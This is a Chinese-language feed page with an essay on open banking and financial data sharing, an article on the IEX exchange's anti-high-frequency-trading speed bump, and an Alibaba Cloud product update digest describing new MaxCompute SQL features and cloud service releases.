        美国监管并没有公开支持金融数据共享,但美国却是金融数据共享最盛行的国家。原因在于《多德-弗兰克法案》为美国金融数据共享奠定了法律基础;美国的金融市场竞争激烈,金融机构相对开放包容,更加愿意主动与金融科技公司合作;美国金融科技公司整体实力较强,多家个人综合财务管理公司已经实现了客户金融数据的共享。
        由市场推动的美国式自下而上的金融数据共享也有显而易见的弊端:由于没有统一的标准和明确的法律规范,金融科技公司不得不与众多金融机构分别签订数据合作协议,连接不同的数据格式,过程复杂,成本巨大。金融科技公司和大金融机构合作时处于劣势,因为数据源掌握在对方手里。2015年,摩根大通(JP Morgan)和第一资本(Capital One)因为在用户数据安全方面与Mint公司产生分歧,曾一度中断给Mint公司的用户提供数据。
        美国消费者金融保护局(CFPB)也意识到缺乏具体规范的问题,因此于2016年11月对公众征求意见,引发各界的激烈讨论。针对面临的种种挑战和问题,CFPB在2017年10月推出金融数据共享九大原则,在金融数据共享的获取、范围和使用、监控和知情、授权支付、安全、公开、准确、追责和效率方面,详细阐述了监管的指导意见。
        CFPB从保护消费者权益出发,倾向于推动金融数据共享,以打破大型金融组织的数据垄断和壁垒。可是偏偏非常不巧,2016年年底美国政局发生翻天覆地的变化,美国共和党全面主导参众两院。特朗普和共和党极力反对奥巴马时期民主党通过的《多德-弗兰克法案》,上台后多次修改该法案。而CFPB恰恰是该法案的直接产物,因此CFPB的权限存在巨大不确定性。
        在如此政局不明朗的过渡期,CFPB并没有全力推动金融数据共享。一方面是因为美国政坛的变化,另一方面也是给美国多点时间观察英国和欧盟推行Open Banking的成效。
        在金融数据共享上,英国和欧盟是波涛汹涌,美国是暗潮涌动,而中国却风平浪静。或许中国的时机还未到来。
        当今银行业面临的挑战
        挑战首先来自客户对银行业越来越高的期望。在移动互联网时代,客户对银行业提供的金融服务要求已经不仅仅局限于基本的支付、储蓄和理财,客户需要金融服务在更加便利、快捷和高效的同时成本也更低。客户需要金融服务能结合用户的实用场景,像水和电一样,按需出现。总之,客户期望金融服务能带来个性化和智能化的数字体验。
        其次是来自跨界竞争对手的挑战。在数字体验上遥遥领先的,恰恰是对银行业虎视眈眈的跨界竞争对手:科技公司。除了为数众多的小而美的金融科技创新公司外,实力雄厚、既大又全的中外科技业巨头也跨界进入金融服务领域:美国摩拳擦掌中的“GAFA”和中国早已进入金融服务领域的“BAT”。它们具有得天独厚的技术和用户优势,以及提供极致客户体验的基因。
        科技巨头们还有一个“核武器”,那就是它们的平台战略。每个科技巨头都拥有一个充满生命力的平台、一个自我演化的生态圈。这些自带流量和客户的科技巨头跨界金融业,给银行带来巨大的震撼。蚂蚁金服和京东金融的成功凸显了银行业自身的不足及其面对的越来越大的竞争压力。
        再次,银行业技术水平落后。如果把科技公司的先进技术比作“飞机大炮”,银行业内部的IT系统只能算“小米加步枪”。银行业现有的IT系统大多建于20世纪中后期,采用的技术和系统构架理念相对陈旧和落伍,造成公司内部数据很难统一,部门与部门之间数据割裂。加上长期的系统升级和打补丁,银行业IT系统显得异常臃肿,不仅效率低下而且维护成本极高。银行业已经意识到自身IT系统落后的严重性,可是重新构建一个新系统成本极高,风险也不小,尤其会对银行业的稳定性产生不可预测的影响。改变核心IT系统对银行业来说阻力重重。
        最后的挑战是来自监管的压力。如果没有监管的驱动,银行业是不会积极主动改变的。银行业有跨界竞争对手梦寐以求的金融牌照和客户交易数据两大法宝。凭借这两大优势,银行业的金融霸主地位很难被撼动。各国监管也都意识到该点:由牌照和数据产生的金融行业壁垒给社会和消费者带来额外的成本,与普惠金融的大趋势格格不入。近几年,各国监管纷纷在金融牌照申请上松绑。在金融相对开放的西方国家,金融科技公司申请金融牌照的案例比比皆是。即便在金融管制相对严格的中国,腾讯的微众银行和阿里的网商银行依然取得了银行牌照。监管已经发出信号:金融牌照不再是银行业的护身符。
        然而客户数据依然是银行业的保护伞。客户的金融交易数据仍然牢牢把握在银行业手中而无法开放和共享。如前文所述,各国监管开始重视并着手解决这一难题:英国的Open Banking、欧盟的PSD2、美国的金融数据共享指导意见,还有澳大利亚、新加坡、韩国和日本等国家正在紧锣密鼓地筹备符合各自国情的金融数据开放政策。各国监管把金融数据的“不共享”当作金融垄断的最后一道壁垒。
        客户的期望、对手的跨界竞争、自身IT系统的落伍加上监管的驱动,银行业已经被“逼”到了墙角—银行业迫切需要新的商业模式来适应未来金融数据共享时代。
        6种变革方式
        银行业的变革势在必行,但改变从来都不会一蹴而就。适合银行业的是切合实际并循序渐进的新商业模式,是既能充分利用银行业现有的体系架构又不需要“伤筋动骨”彻底改换底层核心系统的技术改进,是与对手既有竞争也有合作的开放模式。在金融数据共享席卷全球的大潮中,银行业无法置身事外,选择合适的方式参与金融科技的变革是银行业必然的选择。
        第一种方式:内部研发和实验室。有研发实力的大银行不惜花重金在自己的研发部门,探索如何利用新技术改造现有的系统、产品和服务。比如汇丰银行(HSBC)研发的人脸识别注册、美洲银行(Bank of America)推出的智能客服等。除了现有的研发部门,国际大行还设立多个内部实验室,以更好地促进内部创新,比如巴克莱银行的Rise实验室、RBC在硅谷的创新实验室等。内部研发的优点在于可控性强,但缺点是技术创新程度和应用场景范围会受到内部固有的局限。
        第二种方式:建立加速器和孵化器。意识到内部研发和实验室这种方式在创新上的局限性,很多银行把目光投向外部。与初创企业合作,帮助孵化早期创新金融科技成为一种共赢的模式。银行业通过加速器和孵化器,可了解第一手的创意和技术,并且获得优先投资优秀初创企业的机会。银行业还能引导初创公司,针对银行业现有的体系进行技术研发和产品开发,从外部推动银行业的变革。优秀初创企业也能充分利用银行业资金、渠道和应用方面的扶持,得到快速成长。
        美国的富国银行(Wells Fargo)、荷兰国际集团(ING)、美国硅谷银行(Silicon Valley Bank)、日本三菱日联金融集团(MUFG)、南非标准银行(Standard Bank)都采用这种模式。其中新加坡星展银行(DBS)设在中国香港的FinTech孵化器成效斐然,在两年内已经成功孵化出17个优秀创新项目。加速器和孵化器模式的优势在于灵活、成本低、创新力强;劣势在于银行对项目控制力不足,早期的项目影响力还不够。
        第三种方式:创立全新独立的数字银行品牌。银行业为了适应数字化银行的需要,同时凸显与传统银行的区别,集中银行内创新资源,创立全新且相对独立的数字化银行品牌。比如日本三菱日联金融集团旗下的Jibun Bank、法国BNP Paribas旗下的Hello Bank、意大利UniCredit金融集团下的Buddybank。
        全新独立的数字银行的优点在于:可以集中优势资源,摆脱原有银行体系固有的束缚,同时能给用户提供全方位的数字化服务,打造一个全新数字化银行的形象;缺点在于成本高,创新度略显不足。
        第四种方式:与大型金融科技公司战略合作。银行业意识到金融科技公司代表的是一股不可忽视的变革力量,成熟金融科技公司提供的创新产品和服务也是银行业现有客户所需要的,但是通过银行业内部开发显然成本过高。银行业和大金融科技公司的合作正成为目前的趋势和主流。
        我国的工农建交大银行分别与“BATJ”进行战略合作;花旗银行和PayPal、美洲银行和FutureAdvisor(全球知名的智能投顾公司)、富国银行和SigFig(全球知名的智能投顾公司)、英国巴克莱银行和Circle(全球知名支付公司)、摩根大通和TrueCar(在线智能买卖汽车平台)都结成了合作关系。
        银行业和大型金融科技公司合作的好处立竿见影,可以迅速给银行业现有客户带来全新增值服务和产品;不足之处在于银行业对产品的控制力较弱,并不一定能掌握合作的主动权,同时银行业相应的内部创新会受到抑制。
        第五种方式:投资和并购金融科技公司。在投资和并购领域西方银行一直非常活跃,尤其是在对自身行业有深远影响的金融科技领域。很多成长起来的知名金融科技公司,早期都得益于银行的资金扶持。比如西班牙的桑坦德银行投资了Ripple(知名跨国区块链支付公司),摩根斯坦利投资了Affirm(在线消费信贷平台),荷兰银行ABN AMRO投资了Digital Asset Holding(著名分布式账本技术服务公司)。
        对于估值合理、成长空间大并具有重要战略意义的金融科技公司,银行业会毫不犹豫地利用自己雄厚的资金优势进行并购。比如高盛并购了Honest Dollar(一家先进的退休资金管理服务公司)、法国的Societe Generale银行并购了TagPay数字银行。值得一提的是我们经常使用的微信二维码扫描也离不开银行资本的支持。南非标准银行2016年收购的FirePay支付公司是二维码扫描技术的先驱和领导者,微信和其他二维码扫描都利用了它提供的服务。
        投资和并购的好处在于对公司更多的控制主动权,也更容易融合内部和外部的创新资源,快速地提升数字化金融服务;不过需要承担巨大的投资风险,成本不菲。
        第六种方式:开放的BaaP金融平台服务模式。除了直接提供服务给客户,银行业通过开放API接口,也提供服务给第三方金融科技公司从而间接服务客户。银行业转身成为金融服务的基础平台,与金融科技公司的关系从竞争变为合作共赢。同传统的软件和计算都转为软件即服务(Software-as-a-Service,SaaS)和云计算一样,银行业变成一个按需配置的金融服务平台(Bank-as-a-Platform,BaaP)或云金融平台。
        通过这个平台,银行业既能发挥银行品牌、风控和牌照优势,又能充分利用客户数据以及现有的基础设施,加上金融科技公司的技术,给客户提供更加丰富多元的产品和服务。同时还可以通过平台的服务费,弥补因为开放数据而造成的客户和利润的流失。更加关键的是,银行业不需要对核心系统大动干戈,只需要配置合适的API接口,就能满足共享数据的外部需求,还能有助于内部数据之间的交互,可谓一举多得。
        银行业成为BaaP或者云金融平台是最具有竞争力和最有可能与跨界的科技巨头一争高下的模式。
        成功转型的银行
        监管大力推动金融数据共享,最需要的是银行业的积极配合。有远见的银行早已走在监管的前面,投入金融数据共享的变革大潮中。
        1.花旗银行是国际大银行积极拥抱金融数据共享的典范
        作为一家有着百年历史的国际大行,花旗银行对金融科技显示出了灵活进取的积极一面。2015年花旗银行专门成立Citi FinTech部门,大力推进Citi孵化器,并于2017年举办花旗香港金融科技大奖赛(Citi HK FinTech Challenge 2017),以及成立专门的风投基金Citi Venture,积极投资金融科技创新公司。花旗在5年内投了8大类23家知名金融科技创新公司,其中包括R3、DAH、Kensho、Betterment、Plaid和Chain这些大名鼎鼎的金融科技公司。正因如此,在CB Insights根据金融科技分类投资评出的美国十大银行中,花旗银行占据榜首位置。

        image.png

        同时,花旗力推与大型金融科技公司合作,创造了新词“Fin-tergrate”(FinTech Intergrate),意为与金融科技公司融合。2017年花旗与大牌在线支付公司PayPal签订战略合作协议,让花旗和PayPal的用户可以相互使用对方网络,实现强强联手。
        花旗在开放API和推动Open Banking上也是不遗余力。2016年11月,花旗在全球推出Citi开发者中心,开放包括用户账户、授权、转账、信用卡、花旗点数等7大类API。开发者既能方便快捷地搭积木般使用花旗的API模块“拼凑”出想要的金融应用程序,还能使用花旗的海量数据。借助于花旗的全球影响力及其API的开放性,Citi开发者中心在短短一个月内吸引了1500位开发者。
        花旗Citi FinTech应用开发服务的负责人Abhijit Bhatta-
        charya说:“Open Banking对花旗来说,就是让更多的外部机构和个人使用花旗的API,让他们使用我们花旗的金融服务。”
        花旗代表的是像摩根大通、巴克莱、星展、汇丰等这些积极推动FinTech,拥抱金融数据共享的国际大银行。
        2.BBVA是区域性银行积极转型升级的代表
        BBVA是一家具有百年以上历史的西班牙大银行,这家银行在2015年就开始积极探索数字化转型,并在全球范围内投资和收购创新互联网移动银行以弥补自身的不足。BBVA在先后3年内以1.7亿美元收购了Simple(美国一家手机移动银行)、1亿美元收购Holvi(芬兰一家在线银行)、1.1亿美元收购Atom(英国第一家手机移动银行)。
        BBVA的转型并不仅限于并购,它雄心勃勃地把自己打造成为一家BaaP平台型银行。2017年5月,在经过一年测试后,BBVA开放了它的8大类API,成为全球第一家以商业化运作开放API的银行,实现了BaaP的转型。任何用户都可以调用和开发其API,根据使用服务和数据情况付费。比如在线电商,可以在用户购买电器的支付界面调用BBVA的借款API,方便地使用BBVA的借款服务,如果恰巧用户是BBVA现有客户,BBVA还能在用户授权下调用客户数据以提供更加精准的贷款方案。对于全部过程,电商只要根据服务和数据支付少许费用即可。
        BBVA的全球客户解决方案主管Derek White在接受媒体采访时说:“我们通过商业化方式开放数据和服务,真正意义上实现了Open Banking,不仅仅提早符合欧盟的PSD2规范,而且抢先成为数字化体验的最佳平台。”BBVA的战略非常明显:既然金融数据共享势不可挡,为什么不先发制人、抢尽先机呢?
        紧跟在BBVA后面的是美国的Bancorp和德国的Fidor银行,它们都是地区性银行,都在借金融数据共享的大潮积极转型成为银行服务平台。
        3.CBW是社区小银行锐意进取的楷模
        CBW的全称为Citizen Bank of Weir。在2009年之前,这是一家毫不起眼、坐落于美国中部堪萨斯州的小镇、有124年历史的社区小银行。2009年Weir小镇仅有661个人,而CBW当时的资产规模仅为700万美元。就是这么一家默默无闻的小微社区银行,经过8年的华丽转型,如今成为美国银行界冉冉升起的新星,也是众多金融科技公司竞相追逐的合作对象。
        CBW的转机发生在2009年。由于受到2008年金融风暴的打击,CBW开始资不抵债,美国监管勒令其停业关闭。离开硅谷搬到堪萨斯州的前Google工程师Suresh和他的太太买下了这家银行,并开始对CBW进行彻底的改造,使其焕然一新。Suresh把科技业的创新精神灌注到这家银行,不仅把高效的数字化手段运用在银行内部运营上,而且对外开发出500多个API接口以便合作伙伴使用CBW的服务和数据,全力把CBW打造成为服务金融科技公司的全新数字银行平台,成为美国本土第一家实现Open Banking的银行。
        在Suresh的经营下,CBW脱胎换骨,成为美国最具有科技创新精神的银行,并多次被权威机构评为“全美最创新的社区银行”。
        CBW的优势在于它既有银行全牌照,又小且灵活,开放且勇于创新,这与大银行形成鲜明的对比。因此众多知名金融科技公司,比如Moven(美国著名手机银行)、Ripple Lab(全球著名区块链跨境支付公司)、都抢着成为CBW的合作伙伴。银行平台服务一跃成为CBW的重要收入来源。
        类似CBW的还有德国的SolarisBank,它们体现了小银行在转型大潮中锐意进取的精神。
        从国际大银行花旗银行,到地区性银行BBVA,再到社区小银行CBW,它们站在金融数据共享大潮上,把故步自封的对手远远抛在脑后,成为引领银行未来转型之路的弄潮儿。
        不开放的银行,未来岌岌可危。

        IEX:对抗传统交易所的实践

        文/刘颖格
        Investors Exchange(IEX),一个旨在创造公平交易环境的交易所,成立于2013年。自2006年开始,股市出现一个奇怪的现象:投资者的成交价总会轻微地高于市场价。被迫支付的高价主要源于高频交易的存在,这便是IEX成立的背景。IEX通过对每笔订单施加350微秒的延迟,打击了高频策略对市场的操纵。
        如果脱离高频交易的背景谈论IEX是没有意义的,我们需要对美国的交易制度和高频交易策略进行一个背景补充。
        美国市场交易概况
        1.交易机制
        不同于中国的交易所现状,美国股票交易市场十分复杂,上图显示了2009年9月统计的美国交易股票的交易份额占比,经过SEC注册的交易所的交易份额仅占总份额的64%。其中,主流交易所有三家:纽交所、NASDAQ和BATS。除此之外,还有ECN(另类交易所的一种,同交易所提供的服务类似,但不具备交易所地位的电子网络集中竞价服务提供商)和暗池(同样属于另类交易所,目的是尽量服务机构投资者对于大量股票的交易的匿名性和流动性需求)。

        image.png

        投资者多数通过经纪商下单,美国的股票经纪商可分为零售经纪商和机构经纪商。经纪商按照一定的路由策略将投资者的订单发往不同的交易所。

        image.png

        2.交易所如何连接
        美国交易所众多,那么接下来需要考虑的问题是:如何在众多的交易所之间建立合适的连接通道,如何保证股票交易的流动性和价格透明度?为了防止全国股票交易市场过于碎片化,美国SEC在2005年通过了NMS法案,旨在建立一个统一的全国性交易市场,法案制定了一系列要求,包括要求投资者的订单能得到最优执行。这是通过全国交易所的统一市场数据和经纪商的路由策略的设计来实现的。
        NMS法案要求所有注册交易所和满足一定交易额度的机构须提供最优报价信息,并将统一的报价信息发送给全国的三家网络。同时,经纪商的路由策略也给市场提供了极大的流动性,每个经纪商都在最优执行用户要求的基础上设计了自己的路由策略,如实时的“热点地图”来考虑该时期不同交易场所的流动性。对于机构投资者的订单,很多经纪商还采取了“智能路由策略”,利用复杂的算法将大订单拆分成小订单并发送给不同的交易所。

        image.png

        由于美国市场结构和统一市场报价数据的传递方式,促使了高频交易的诞生。
        高频交易是什么
        对于高频交易,学术界和业界一直没有对其进行明确的定义。根据美国SEC发布的一份报告定义,一个高频交易系统应具备几大特征:①使用超高速和复杂的计算机程序下单;②使用交易所提供的co-location和直接提供数据的服务;③平均每次持仓时间极短;④大量发送和取消委托订单;⑤不持仓过夜。
        1.高频交易策略分类
        报告也将高频交易的策略进行了分类:
        1)Passive Market Making(被动做市策略)。高频交易公司在此充当做市商的角色,为投资者报价,以Bid买入,Ask卖出。利用买卖差价盈利。另一部分盈利来源是做够一定的交易量后交易所的返佣(rebate)。
        2)Arbitrage(套利交易策略):利用不同品种间的价差进行套利。这种机会越来越小,稍纵即逝,需要利用高频技术的速度优势。
        3)Structural(结构性策略):利用市场结构的弱点获利。例如通过co-location或者是交易所提供的独立数据来获得相对的信息优势,从而在取得“过时报价”的市场参与者身上获利。这种策略引起的争议较大,也正是IEX成立的初衷。
        4)Directional(方向性策略):即趋势交易。高频交易者主要通过比K线时间级别更短的Order Book event来判断大订单的动向,并采取跟随的策略。
        高频交易者的工具主要有两种:co-location和交易中心提供的数据。co-location是指交易中心允许高频交易者将其服务器设置在交易中心的匹配引擎附近以产生物理上的距离优势,加快高频交易商的订单执行。而同上文提到的,交易中心除去将内部的统一报价信息发布到全国网络之外,也可出售给其他机构。这种co-location的方式和提前获得交易中心的数据给予高频交易者相对于其他交易者的信息优势,是高频交易者的重要获利手段。
        2.一种有争议的策略—套利交易策略(Scalping)
        由于不同经纪商的智能路由策略的存在,机构投资者的大订单通常要发给多个交易所。但是,发往各个交易所所需时间不同,这其中轻微的延迟给予具备技术手段的高频交易探测投资人交易意图的机会—通过提前在A交易所获知投资者交易信息,在B交易所迅速买入股票,再转手以稍高的价格卖给投资者,即利用不同交易所的价差赚钱。
        为了保证交易公平,IEX做了什么
        IEX创始人胜山(Katsuyama)原先是加拿大皇家银行的员工,是股票交易团队的管理者,为银行的客户提供经纪服务。
        自2006年起,胜山发现每当他以比如20美元卖出股票时,价格就从屏幕上消失了,自己会被迫以更差的价格成交。胜山对此十分困惑,他和团队花了近三年的时间调查和研究这个现象,结论是:有人利用速度优势抢先买了单子,再转手卖出。在拜访了500多位专业投资者之后,胜山发现这些管理着数万亿资产的投资者同样遇到了类似的问题。后来,胜山的团队逐渐完善了反高频策略的技术,并萌生了成立交易所的想法。
        1.如何保证公平—350微秒的延迟
        各个交易所的业务都相似,IEX主要的技术创新是在自己的交易机房前设置了38英里的光线线圈,可最大增加700微秒的延迟。IEX将其命名为“Speed Bump”,使得每笔订单的发送和到达不同交易所延迟了350微秒。
        此外,IEX还不允许高频交易者建立co-location,也不出售交易数据,同样防止了高频交易者获取信息优势的机会。
        IEX认为,延迟350微秒就足够保证公平的状态,而无论交易者距IEX地理位置的远近。其他保证公平环境的措施包括:对买卖双方都收取每股0.0009美元、减少单子种类、确保客户在同一时间接收到价格数据等。通过IEX下单,可以避免受高频交易者的套利交易策略的影响。
        截至2018年11月,IEX拥有2.789%的市场份额,匹配交易量达254?799?020美元。
        2.IEX的特点
        IEX的设计者认为,IEX的机制可以避免目前市场上的冲突。
        首先,不同于BATS,IEX的所有者不是经纪人,这样就有效避免了交易者和经纪人之间的利益冲突。其次,IEX只杜绝利用Structural策略来获利的高频交易者,对于使用Passive Market Making策略的经纪商来说,同样可以使用IEX。最后,IEX是一个公平的市场。IEX不付回扣,而是双向收费,这样更能专注于投资者。IEX吸引的是最末端的投资者和长期投资者的订单,而不是只从短期中介机构处获取利益。
        3.IEX的争议
        IEX于2016年6月17日通过了SEC审核并成为正式的交易所。在此之前,IEX是作为另类交易所(alternative trading system)的一种—暗池在运营着。随着IEX成为正式交易所,有市场人士认为,IEX很难达到纽交所或纳斯达克的规模。IEX独特的减速带延迟交易的模型能够吸引一些大投资者如对冲基金、共同基金或养老基金,但有些经纪人认为这种延迟模型也会限制IEX的发展,因为有些电子交易商依赖于更新或者撤单的速度,则不会选择IEX。同时,延迟订单可能与SEC关于订单优先执行的相关条例冲突。且需要指出的是SEC还允许其他交易所开展减速带的业务,如果其他交易所也复制这个结构,那么IEX也会受到冲击。
        IEX对此的解释是,IEX符合SEC关于最长延迟时间的规定,这种延迟不会影响市场质量,所以即使有350微秒的延迟,IEX仍然与其他交易所一致。350微秒,也就是千分之一眨眼的时间。除了高频交易者,任何其他交易者都不会受到影响。因此,这种延迟策略影响的只是市场中的一个小团体。
        IEX的运营模式本质是杜绝了高频交易者利用相对优势可能获利的空间,而IEX的设计机制也是为了吸引长期投资者。对于市场而言,IEX是美国众多交易所中新增加的一个,是一个新的选择。未来IEX能否不利用co-location和出售数据,且不以返佣的营利方式来撼动NASDAQ和NYSE的市场地位?让我们拭目以待吧。

        ]]>
        【阿里云新品发布会】第31期:移动金融科技助力 新时代金融机构转型升级 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

        新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多内容,了解更多

        金融级超级APP解决方案发布会

        金融业务的“移动化、场景化和智能化”是当前和未来⼀段时期的重要发展趋势。2019年11月4日15:00,阿里云金融级超级APP解决方案重磅发布,结合阿里经济体十余年移动端技术沉淀与运营方法论,致力于提供用户体验改进、数字化运营与营销、生态构建与技术研发效率提升的能力。为 App 开发、测试、运营及运维提供云到端的一站式解决方案,能有效减少研发成本、提升开发效率,助力实现移动端业务持续创新、数字化运营及生态建设。

        test

        产品动态

        新版本:移动研发平台 - 阿里云移动研发平台 EMAS - 移动性能分析和远程日志(商业化)发布。查看产品 查看文档
        EMAS 面向移动APP,提供在线的质量监控服务:

        • 性能分析:APP 线上启动分析、页面分析、地域分析、机型分析等产品性能,已于2019.10.30正式商业化。
        • 远程日志:APP 线上定位问题难的点,可以定向拉取全量日志,还原现场,进行深度分析确定问题,已于2019.10.30正式商业化。

        新地域:云数据库 POLARDB - POLARDB 在金融云 华东2(上海)正式开服,本次上线 MySQL 5.6/8.0 版本。查看产品 查看文档

        • 可用区域:华东2(上海) 可用区 F

        新地域:容器服务Kubernetes版 - Serverless K8s开放张家口区域。查看产品 查看文档

        • 可用区域:张家口

        新功能:大数据计算服务 - 支持一次增加或删除多个分区。 查看产品 查看文档

        • MaxCompute的DDL语义升级,支持一次增加或删除多个分区的操作,用户可执行批量的分区管理操作,提升了数仓管理操作的效率。

        新功能:大数据计算服务 - 支持新运算符。 查看产品 查看文档

        • IS [NOT] DISTINCT FROM:例如:a IS DISTINCT FROM b,相当于not(a<=>b);a IS NOt DISTINCT FROM b相当于 a<=>b。
        • A||B:字符串连接操作符(||) :例如:a||b||c 相当于concat(a, b, c)。

        新功能:大数据计算服务 - 支持自然连接NATURAL JOIN。 查看产品 查看文档

        • 支持自然连接(Natural Join) 即参与JOIN的两张表根据字段名字自动决定连接字段。支持 outer natural join,支持使用using字段执行join,输出字段中公共字段只出现一次。例如:表src的字段(key1, key2, a1, a2),表src2的字段(key1, key2, b1, b2),SELECT * FROM src NATURAL JOIN src2; 由于 src 和 src2 有两个同名字段 (key1, key2) ,所以相当于:SELECT src.key1 as key1, src.key2 as key2, src.a1, src.a2, src2.b1, src2.b2 FROM src INNER JOIN src2 ON src.key1 = src2.key1 AND src.key2 = src2.key2;

        新功能:大数据计算服务 - 支持指定表的列默认值。 查看产品 查看文档

        • DEFAULT value 指定列的默认值,当insert操作不指定该列时,该列写入默认值。[(col_name data_type [DEFAULT value] [COMMENT col_comment], ...)]

        新功能:大数据计算服务 - 支持LIMIT OFFSET。 查看产品 查看文档

        • OFFSET 和 ORDER BY LIMIT语句配合,可以指定跳过OFFSET数目的行。例如:SELECT * FROM src ORDER BY key LIMIT 20 OFFSET 10;将 src 按照 key从小到大排序后,输出第11到第30行 (OFFSET 10 指定跳过前10行,LIMIT 20 指定最多输出20行)

        新功能:大数据计算服务 - 新增flag支持只grouy by / order by 字段序号,而不用写字段名。 查看产品 查看文档

        • 当sql语句set flagset hive.groupby.position.alias=true;时,GROUP BY 中的整形常量会被当做select的列序号处理。示例:set hive.groupby.position.alias=true; select region, sum(total_price) from sale_detail group by 1;(常量1代表select的列中第一列即region);
        • 当sql语句set flagset hive.orderby.position.alias=true;时,ORDER BY 中的整形常量会被当做select的列序号处理。例如:表src的列为(key BIGINT,value BIGINT) SELECT FROM src ORDER BY 2 limit 100; 等同于SELECT FROM src ORDER BY value limit 100。

        新功能:大数据计算服务 - 新增flag支持只grouy by / order by 字段序号,而不用写字段名。 查看产品 查看文档

        • 当sql语句set flagset hive.groupby.position.alias=true;时,GROUP BY 中的整形常量会被当做select的列序号处理。示例:set hive.groupby.position.alias=true; select region, sum(total_price) from sale_detail group by 1;(常量1代表select的列中第一列即region);
        • 当sql语句set flagset hive.orderby.position.alias=true;时,ORDER BY 中的整形常量会被当做select的列序号处理。例如:表src的列为(key BIGINT,value BIGINT) SELECT FROM src ORDER BY 2 limit 100; 等同于SELECT FROM src ORDER BY value limit 100。

        新功能:大数据计算服务 - 新增内置函数JSON_TUPLE和EXTRACT。 查看产品 查看文档

        • 新增字符串函数JSON_TUPLE、日期函数EXTRACT。格式说明:STRING JSON_TUPLE(STRING json,STRING key1,STRING key2,...),用于一个标准的JSON字符串中,按照输入的一组键(key1,key2,...)抽取各个键指定的字符串。INT EXTRACT( from ),提取日期的一部分。

        新功能:大数据计算服务 - JOIN与SETOP支持括号指定优先级。 查看产品 查看文档

        • 支持通过括号指定JOIN的优先级,括号内的JOIN优先级较高。如下JOIN语句中,先执行src2 JOIN src3得出结果后再执行与src的JOIN。例如:SELECT * FROM src JOIN (src2 JOIN src3 on xxx) ON yyy。

        新功能:大数据计算服务 - MaxCompute支持分区合并。 查看产品 查看文档

        • MaxCompute支持合并分区,对数仓数据进行归档,将同一个表下多个分区数据快速合并成一个分区, 并删除之前分区, 把数据移动到指定的分区下。

        新功能:大数据计算服务 - MaxCompute支持VPC网络IP白名单设置。 查看产品 查看文档

        • MaxCompute支持VPC网络IP白名单设置。

        新功能:云数据库 MySQL 版 - MySQL 支持数据库独享代理功能支持5.7本地盘实例。 查看产品 查看文档
        RDS for MySQL 5.7 高可用版本地盘实例支持数据库独享代理功能,支持数据库读写分离和短连接优化。5.7 版本的独享代理相对于5.6&5.7 现有的多租户数据库代理功能使用独立计算资源为当前数据库实例提供代理服务,优势如下:

        • 一个统一的代理地址,只要代理服务不关闭,代理地址就不释放,可永久免费使用。此特性可满足不用修改应用到数据库连接地址而反复发布,极大地降低运维成本。
        • 独享代理使用隔离的独立计算资源,避免了老版本数据库代理时多用户争抢资源而导致服务不稳定。
        • 使用独立实例代理,资源可扩展,可承载更高流量。 4. 目前公测期间,独享代理实例0元优惠,后续另行公告收费时间。

        新功能:物联网络管理平台 - 阿里云IoT-物联网络管理(Alibaba Cloud Link WAN) 2.0.9 版本发布。 查看产品 查看文档

        • 一口价的节点与网关密钥,开通南天门线上售卖,现在用户可以自己买商品了。
        • 产线工具升级,原本仅支持LoRa模组生产,现在也支持网关硬件生产,合作的产线可以自动化安装网关密钥投产。
        • 用户查询上下行数据包的逻辑更清晰了,可即时看到数据包进出,并且支持聚合统计。
        • 支持物联网平台调试上下行数据,两个产品服务联动更好了,可以直接在控制台操作上下行数据测试。
        • 网关限流上线,现在分为小组网网关与运营级的网关,QPS分别对应 5/s、30/s与300/s,3个檔位。
        • 网关SSH远程调试上线,用户可以透过SSH远程接入网关命令行,调试维护网关,有效支持远程运维。

        新功能:实人认证 - 针对移动H5认证方案返回用户录制的视频下载地址。 查看产品 查看文档

        • 针对移动H5认证方案返回用户录制的视频下载地址。

        新功能:云监控 - 新增LogstashService产品的性能指标监控。 查看产品 查看文档

        • 新增LogstashService的节点CPU使用率、节点磁盘使用率、节点JVM使用率、节点1m负载等监控指标,并提供报警功能。方便用户在数据库性能指标异常时及时知晓、排查问题。

        新功能:弹性高性能计算 - 阿里云E-HPC服务影视渲染集群伸缩功能发布。 查看产品 查看文档

        • ehpc发布针对渲染管理软件deadline的自动伸缩功能,支持用户根据自身业务需求为多个渲染池定制不同的自动伸缩策略,降低用户运维成本
        • ehpc支持渲染用户自定义节点主机名,方便与渲染项目、提交人员相匹配,同时可自动将新节点加入渲染集群

        新功能:容器服务Kubernetes版 - Ingress组件安装支持开启Ingress dashboard。 查看产品

        • 用户在创建集群时可配置ingress组件安装的选项,可选择开启ingress dashboard,创建后可在控制台ingress页面点击相关链接查看。

        新功能:容器服务Kubernetes版 - 集群支持Aliyun linux 2操作系统。 查看产品 查看文档

        • 用户在创建集群时,选择节点OS可选用Aliyun Linux 2,该OS是阿里云官方出品的高版本内核的Linux操作系统,同时经过针对容器的优化,是使用容器集群的首选系统。

        新功能:容器服务Kubernetes版 - 支持吊销更新Kube Config文件。 查看产品

        • 主账号可以吊销或者更新kubeconfig文件,防止子账号被收回权限后还可以持续访问集群。

        新功能:容器服务Kubernetes版 - 支持服务创建负载均衡时可选规格。 查看产品

        • 用户在创建SLB类型的Service时,可在界面上选择slb的规格,以保证服务访问的性能。

        新功能:容器服务Kubernetes版 - API Server支持EIP的绑定/解绑定。 查看产品

        • 用户创建集群后可在集群管理页面对API Server所挂载的SLB加绑定EIP或者解绑定EIP。

        新功能:容器服务Kubernetes版 - 边缘集群支持ENS节点自动扩缩容能力(OpenAPI支持)。 查看产品

        • OpenAPI支持边缘集群自动扩缩容ENS节点。

        新功能:容器服务Kubernetes版 - 边缘集群支持GPU节点。 查看产品

        • 边缘集群支持添加用户的GPU节点。

        新功能:印刷文字识别 - 阿里云印刷文字识别新增试卷内容识别能力。 查看产品 查看文档

        • 阿里云印刷文字识别新增试卷识别能力,可以自动识别试卷图片中的机打部分文字内容。

        新功能:印刷文字识别 - 阿里云印刷文字识别新增试卷内容识别能力。 查看产品 查看文档

        • 阿里云印刷文字识别新增试卷识别能力,可以自动识别试卷图片中的机打部分文字内容。

        新功能:云数据库 PostgreSQL 版 - RDS PG 10云盘版发布Cloud DBA功能。查看产品 查看文档

        • 智能优化,分析数据库的活跃会话,表和索引扫描,临时文件的使用等,一键诊断性能问题。
        • 问题诊断,分析数据库的cpu、io使用以及空间变化、慢查询,诊断大颗粒问题。
        • SQL优化,格式优化,分析执行计划存在的问题。
        • 诊断报告,生成数据库等健康报告,从宏观层面分析数据库等问题。

        最新发布

